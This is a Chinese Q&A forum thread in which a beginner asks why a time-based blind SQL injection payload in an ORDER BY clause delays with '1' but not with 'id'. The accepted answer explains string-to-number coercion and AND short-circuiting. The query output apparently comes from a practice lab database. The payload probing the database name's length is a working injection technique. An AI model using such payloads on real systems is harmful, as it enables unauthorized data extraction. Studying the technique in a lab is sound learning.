L1TH1UM 2020-03-26 20:58 采纳率: 100%
浏览 137
已采纳

新手在sql注入中遇到的问题,觉得很疑惑

如下所示,为什么第一个可以达到延时的作用,但是第二个却不行,不太理解

mysql> SELECT * FROM users ORDER BY '1'and if(length(database())=8,sleep(0.1),0);
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
| 10 | admin2   | admin2     |
| 14 | admin4   | admin4     |
|  2 | Angelina | I-kill-you |
|  5 | stupid   | stupidity  |
|  8 | admin    | admin      |
| 11 | admin3   | admin3     |
|  3 | Dummy    | p@ssword   |
|  6 | superman | genious    |
|  9 | admin1   | admin1     |
| 12 | dhakkan  | dumbo      |
|  1 | Dumb     | Dumb       |
|  4 | secure   | crappy     |
|  7 | batman   | mob!le     |
+----+----------+------------+
13 rows in set (1.42 sec)

mysql> SELECT * FROM users ORDER BY 'id'and if(length(database())=8,sleep(0.1),0);
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
| 10 | admin2   | admin2     |
| 14 | admin4   | admin4     |
|  2 | Angelina | I-kill-you |
|  5 | stupid   | stupidity  |
|  8 | admin    | admin      |
| 11 | admin3   | admin3     |
|  3 | Dummy    | p@ssword   |
|  6 | superman | genious    |
|  9 | admin1   | admin1     |
| 12 | dhakkan  | dumbo      |
|  1 | Dumb     | Dumb       |
|  4 | secure   | crappy     |
|  7 | batman   | mob!le     |
+----+----------+------------+
13 rows in set, 13 warnings (0.00 sec)
  • 写回答

1条回答 默认 最新

  • 德玛洗牙 2020-03-27 11:15
    关注

    这里就要涉及到and运算了,and两边为真,结果为真,否则为假, 这里‘1’and其实相当于1 and,因为1为真所以需要判断if(length(database())=8,sleep(0.1),0)是否为真,因此执行if(length(database())=8,sleep(0.1),0),而'id' and相当于0 and,因为0为假,所以不需要判断后面的值即可出结果因此此时的if(length(database())=8,sleep(0.1),0)并未执行。

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论

报告相同问题?

悬赏问题

  • ¥15 用twincat控制!
  • ¥15 请问一下这个运行结果是怎么来的
  • ¥15 单通道放大电路的工作原理
  • ¥30 YOLO检测微调结果p为1
  • ¥20 求快手直播间榜单匿名采集ID用户名简单能学会的
  • ¥15 DS18B20内部ADC模数转换器
  • ¥15 做个有关计算的小程序
  • ¥15 如何用MATLAB实现以下三个公式(有相互嵌套)
  • ¥30 关于#算法#的问题:运用EViews第九版本进行一系列计量经济学的时间数列数据回归分析预测问题 求各位帮我解答一下
  • ¥15 setInterval 页面闪烁,怎么解决